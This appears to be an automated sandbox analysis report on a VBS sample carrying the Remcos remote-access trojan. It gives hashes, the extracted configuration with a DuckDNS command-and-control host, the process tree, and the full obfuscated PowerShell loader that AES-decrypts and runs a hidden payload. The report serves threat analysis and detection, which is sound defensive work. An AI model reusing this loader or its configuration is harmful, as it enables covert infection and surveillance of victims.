Analysis
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max time kernel
148s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
25-07-2024 07:37
Static task
static1
Behavioral task
behavioral1
Sample
greatbunfeelsoftandhoney.vbs
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
greatbunfeelsoftandhoney.vbs
Resource
win10v2004-20240709-en
General
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Target
greatbunfeelsoftandhoney.vbs
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Size
405KB
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MD5
5ebeb712feef959ca93860f33bb90c28
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SHA1
09301af0647826aafc70b8217c9b9d73603f4c9c
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SHA256
dcc910e18826b06462dd9876597c66f760a0cf3748bb7290f836fd197c992461
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SHA512
545c24ead34d651503b236a503570a4b71538118c12d0a98f178a2bf2a90b2562148bf36051005c9e444cb76ce4aeb738205866f90bef0fcffeb83da28fd5881
-
SSDEEP
3072:/HG1wfkYFIhNe4VTdRnTT8w4TWfZqT92V3gByp0rpbXS7CQzS18f8d6bb/g52r:6wfkYFcZqT9m
Malware Config
Extracted
remcos
RemoteHost
sembe.duckdns.org:14645
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
nots.dat
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keylog_flag
false
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keylog_folder
note
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keylog_path
%Temp%
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mouse_option
false
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mutex
Rmc-999Z97
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 4 4724 powershell.exe 20 4724 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4724 set thread context of 5044 4724 powershell.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
RegAsm.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4724 powershell.exe 4724 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4724 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
RegAsm.exepid process 5044 RegAsm.exe -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 4704 wrote to memory of 4724 4704 WScript.exe powershell.exe PID 4704 wrote to memory of 4724 4704 WScript.exe powershell.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe PID 4724 wrote to memory of 5044 4724 powershell.exe RegAsm.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\greatbunfeelsoftandhoney.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI78366815743834883177266387252660CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIga9tsmjvyGDEbTnjHFelJAUX4KCrTqVd45OcR4UWK9uBqcgRjTWzDVc0WLQLim8CZLV2YjtpSXW2QEA7VS/cvlAg2RLEzlZhddu/3LArAVwxnZmAigs4May7gn4fc9422i1e7fb7BZcIhdfsOatC5rwFPQBEESYDArlsrrsutl8YAgsgkQ4gbI48F1xMvunKLWDK1D/9WrrhLsb1SLaQ/MqF7zxqfvyGQ03UsOYtnpLrLpGmms6XemzN9uablVCW+onrPheHxhUpxAMTM0NOlqdm96kGREpXnp5R0WWFm+VgsQs/0ArBqkL15cemt+b9tRfSYByx0ZCboLCIa+oNycuKAuqf6Y/epNEeWGAqDqtjJqJIdiWHXYEhuwAZ98fk6RvR2+I3Webw06dUuRuR0/wjXoClMN4Oi6lhs/2QJYIgc+pLJV6AdkpnOnyUz4Ph36fvi3kQDM5MYOUDNo2+6gXUpQCiHAOdKqyqpErMF2HnYkU7+9MZfzG1yN7jE1AonEB1cZLclGXlWzU5zLlSJkC++sl5g+H9/Ux0Quib8bCE/GQEENJXAItpoSUbSEZSfX5sz23qzU7iCwed2QQLvqlgF3V+q2aYckTdCPSVAvQRX9WuY9041YV3AFvtROXOXBAlBYI9KqH73bsZgQ78cSk2J0lpsV1brr8w70EaF2NeeTsoQ4rhSYd51QYUKywLaaOj8Yt6xF0RZj1YdsVpNFwER+648GnCnRjUfv946FxuENn2dw+EMKkwuYXc/A7rHY0SRssQqfRcZoVeZO1lDDvDGZ2bQg9+d9Q43Lpu+74awmPIPeIGELZwxij6ybjR1QJfOnA8dmgjAmS1XuRIKcXA6PT/pTItG8AMDa/LaOjsa0aqgsa5cxRaMOzWW1r+50Ff0VZI5mGbmpHMppQMYGAAA9Fwi5V7jMBFgJQTgHqqV6tffqE8RupeU9qsf52nXDHUXNbbNjk1nweHAsTsC2tzLMA7HmTN8L4yXKQnV3MvqgOmux+aqHaZQW0IsGJy4JmJG5l3lPta7tsetb5apmQ0wT5DIdfLz7uQeEJkVnH1dfAIfsDHhZoJCpM9qWVW2lqFkjcdG8iyuM6GCeuGvmSVhivNbbke4zWe+aZ+ih7fbhgFsPzAlTie5kgWKk5g2SiWz6lTgzeHOaC3LYkzM0fMSXGF9iaddVHBcBCdWJF7xk4RStlIEDu7KdXR5WJvjsgJCtVdGJh9Gco4zhyV+jEzhB5qkj1/Vm9he0MtCT8UNW1bB7JD4+CnL/GfJYpWqVJjTGQ5vHPMNz1epJu8k4HYD9Muuhf4Zo9zMppwT7CyAEK71rwBLg3fixJ5zh0YsPGiNEExWdt4NNGO3uC55RE3fIzGbUiaPA/DT9Le+rqO6iC6+pseZmhxxlclJ8HRwll7NQFUpm1UslUS23LMeA==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5044
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
144B
MD5817332c17f9056a73fb65c0d5f948a9d
SHA1d570f66b3bab7a31ccb47acbd1785e0e6c79abb6
SHA256f502cdb5095d52846e5a68c18c64e3aa8f59bd9c4de3532a27ede0e58fc91fbb
SHA51232c26117816ba3aad475aef6ede839231e0d9caf16f4bb4e4a945f09b0676d6f4753b89d3cb0fd44ef4138b6209eb2416194d0d7ac222d9c38d1efdf1ad16c4e